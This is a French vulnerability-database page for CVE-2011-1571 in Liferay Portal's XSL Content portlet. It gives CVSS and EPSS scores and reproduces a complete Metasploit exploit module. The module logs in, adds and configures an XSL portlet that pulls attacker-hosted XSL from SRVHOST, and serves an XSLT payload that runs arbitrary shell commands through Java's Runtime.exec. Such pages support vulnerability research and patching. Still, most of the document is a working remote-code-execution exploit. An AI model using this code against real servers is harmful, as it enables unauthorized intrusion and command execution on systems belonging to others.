CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Unspecified vulnerability in the XSL Content portlet in Liferay Portal Community Edition (CE) 5.x and 6.x before 6.0.6 GA, when Apache Tomcat is used, allows remote attackers to execute arbitrary commands via unknown vectors.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
20.31%
–
–
2022-04-03
–
–
20.31%
–
–
2023-03-12
–
–
–
1.31%
–
2023-07-23
–
–
–
1.28%
–
2023-11-05
–
–
–
2.54%
–
2024-02-11
–
–
–
0.41%
–
2024-03-17
–
–
–
0.47%
–
2024-04-14
–
–
–
0.58%
–
2024-06-02
–
–
–
1%
–
2024-07-28
–
–
–
1.27%
–
2024-09-22
–
–
–
1.76%
–
2024-10-06
–
–
–
1.73%
–
2024-12-22
–
–
–
1.98%
–
2025-01-19
–
–
–
1.98%
–
2025-01-19
–
–
–
1.98%
–
2025-03-18
–
–
–
–
10.72%
2025-03-30
–
–
–
–
6.89%
2025-04-06
–
–
–
–
6.89%
2025-04-06
–
–
–
–
6.89,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-04-07 22h00 +00:00 Auteur : Spencer McIntyre EDB Vérifié : No
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'active_support/json'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay XSL Command Execution',
'Description' => %q{
This module exploits a vulnerability in the XSL parser of the
XSL Content Portlet. When Tomcat is present, arbitrary code
can be executed via java calls in the data fed to the Xalan
XSLT processor. If XSLPAGE is defined, the user must have rights
to change the content of that page (to add a new XSL portlet),
otherwise it can be left blank and a new one will be created.
The second method however, requires administrative privileges.
},
'Author' =>
[
# SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
'Spencer McIntyre',
'SecureState R&I Team', # SecureState Research and Innovation Team
'Nicolas Gregoire', # authored the vulnerability details provided in the wiki
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2011-1571' ],
[ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
],
'Privileged' => false,
'Platform' => [ 'win', 'linux', 'unix' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { 'groupid' => 0, 'pauth' => false } ],
[ 'Liferay 5.2.3 (Tomcat/JBoss)', { 'groupid' => 16, 'pauth' => false } ],
[ 'Liferay 6.0.0 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => false } ],
[ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => true } ],
],
'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
OptString.new('XSLPAGE', [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),
], self.class)
end
def auto_target(headers)
print_status("Attempting to automatically select a target...")
case headers['liferay-portal']
when /5.2.3/
return targets[1]
when /6.0.0/
return targets[2]
when /6.0.[1-6]/
return targets[3]
end
return nil
end
def exploit
print_status('Logging in and creating a page to embed XSL Content into...')
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target(res.headers)
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
cookie = "#{sessionid}; COOKIE_SUPPORT=true"
app_base = rand_text_alphanumeric(8+rand(8))
new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
@xsl_data = run_cmd_with_xsl(payload.encoded) # this is really the data returned for XSL and XML requests
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req, 'XSL')
},
'Path' => '/' + app_base + '.xsl'
}})
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req, 'XML')
},
'Path' => '/' + app_base + '.xml'
}})
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
'data' => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
'cookie' => cookie
})
if res.code != 302
print_error('Login failed.')
return
end
cookie = ''
for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
end
xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }
if datastore['XSLPAGE'] == nil # the page was not defined, so we try to create a new one
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/layout_management/update_page',
'data' => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
if res.code != 200 or res.body == ""
print_error('Could not create a new page to embed the XSL Content into...')
return
end
new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end
print_status("Successfully created page #{new_page}, now configuring XSL...")
else
new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']
end
res = send_request_cgi({
'method' => 'GET',
'uri' => new_page,
'cookie' => cookie
})
plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i
layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i
if mytarget['pauth']
pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'
else
pauth = '' # versions prior to 6.0.1 do not require a p_auth token
end
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/portal/update_layout',
'data' => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add¤tURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
if res.code != 200
print_error('Could not create a new page to embed the XSL Content into...')
return
end
portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",
'data' => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",
'cookie' => cookie,
})
if res.code != 200
print_error('Could not configure the XSL Portlet')
return
end
print_status("Successfully configured XSL Portlet, requesting page to execute code...")
res = send_request_cgi({
'method' => 'GET',
'uri' => new_page,
'cookie' => cookie
})
# wait for the data to be sent
waited = 0
while (not @xsl_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > 30)
raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'
end
end
print_status("Shutting down the web service...")
stop_service
return
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/portal/update_layout',
'cookie' => cookie,
'data' => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"
})
if datastore['XSLPAGE'] == nil # we created the page, so delete it
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/layout_management/update_page',
'data' => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request, resource)
print_status("Sending the #{resource} File to the server...")
send_response(cli, @xsl_data)
@xsl_sent = true
end
def run_cmd_with_xsl(cmd)
varpayload = rand_text_alpha(10+rand(8))
varruntime = rand_text_alpha(10+rand(8))
varproc = rand_text_alpha(10+rand(8))
payload = "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"
payload << " <xsl:template match=\"/\">\n"
payload << " <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"
payload << " <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"
payload << " <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"
payload << " <xsl:choose>\n"
payload << " <xsl:when test=\"contains($osversion,'windows')\">\n"
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n"
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
payload << " </xsl:when>\n\n"
payload << " <xsl:otherwise>\n"
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n"
payload << " <xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n"
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
payload << " </xsl:otherwise>\n"
payload << " </xsl:choose>\n\n"
payload << " </xsl:template>\n"
payload << "</xsl:stylesheet>\n"
payload
end
end
Products Mentioned
Configuraton 0
Liferay>>Liferay_portal >> Version From (including) 5.1.0 To (including) 5.1.2
Liferay>>Liferay_portal >> Version From (including) 6.0.0 To (including) 6.0.5